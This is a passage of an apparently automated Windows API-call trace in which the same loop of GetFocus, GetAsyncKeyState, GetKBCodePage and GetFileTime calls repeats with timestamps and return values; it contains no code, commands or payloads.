GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.475] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.475] GetFocus () returned 0x0 [0255.475] GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.475] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.475] GetFocus () returned 0x0 [0255.475] GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.475] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.475] GetFocus () returned 0x0 [0255.475] GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.475] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.475] GetFocus () returned 0x0 [0255.475] GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.476] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.476] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.476] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.476] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.476] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.476] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.476] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.476] GetKBCodePage () returned 0x1b5 [0255.476] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.476] GetFocus () returned 0x0 [0255.476] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.477] GetKBCodePage () returned 0x1b5 [0255.477] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.477] GetFocus () returned 0x0 [0255.477] GetAsyncKeyState (vKey=58) returned 0 [0255.478] GetKBCodePage () returned 0x1b5 [0255.478] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.478] GetFocus () returned 0x0 [0255.478] GetAsyncKeyState (vKey=58) returned 0 [0255.478] GetKBCodePage () returned 0x1b5 [0255.478] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.478] GetFocus () returned 0x0 [0255.478] GetAsyncKeyState (vKey=58) returned 0 [0255.478] GetKBCodePage () returned 0x1b5 [0255.478] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.485] GetFocus () returned 0x0 [0255.485] GetAsyncKeyState (vKey=58) returned 0 [0255.485] GetKBCodePage () returned 0x1b5 [0255.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.485] GetFocus () returned 0x0 [0255.485] GetAsyncKeyState (vKey=58) returned 0 [0255.485] GetKBCodePage () returned 0x1b5 [0255.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.485] GetFocus () returned 0x0 [0255.485] GetAsyncKeyState (vKey=58) returned 0 [0255.485] GetKBCodePage () returned 0x1b5 [0255.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.485] GetFocus () returned 0x0 [0255.485] GetAsyncKeyState (vKey=58) returned 0 [0255.485] GetKBCodePage () returned 0x1b5 [0255.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.485] GetFocus () returned 0x0 [0255.485] GetAsyncKeyState (vKey=58) returned 0 [0255.485] GetKBCodePage () returned 0x1b5 [0255.485] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.486] GetFocus () returned 0x0 [0255.486] GetAsyncKeyState (vKey=58) returned 0 [0255.486] GetKBCodePage () returned 0x1b5 [0255.486] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.487] GetAsyncKeyState (vKey=58) returned 0 [0255.487] GetKBCodePage () returned 0x1b5 [0255.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.487] GetAsyncKeyState (vKey=58) returned 0 [0255.487] GetKBCodePage () returned 0x1b5 [0255.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.487] GetAsyncKeyState (vKey=58) returned 0 [0255.487] GetKBCodePage () returned 0x1b5 [0255.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.487] GetAsyncKeyState (vKey=58) returned 0 [0255.487] GetKBCodePage () returned 0x1b5 [0255.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.487] GetAsyncKeyState (vKey=58) returned 0 [0255.487] GetKBCodePage () returned 0x1b5 [0255.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.487] GetAsyncKeyState (vKey=58) returned 0 [0255.487] GetKBCodePage () returned 0x1b5 [0255.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.487] GetAsyncKeyState (vKey=58) returned 0 [0255.487] GetKBCodePage () returned 0x1b5 [0255.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.487] GetAsyncKeyState (vKey=58) returned 0 [0255.487] GetKBCodePage () returned 0x1b5 [0255.487] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.487] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 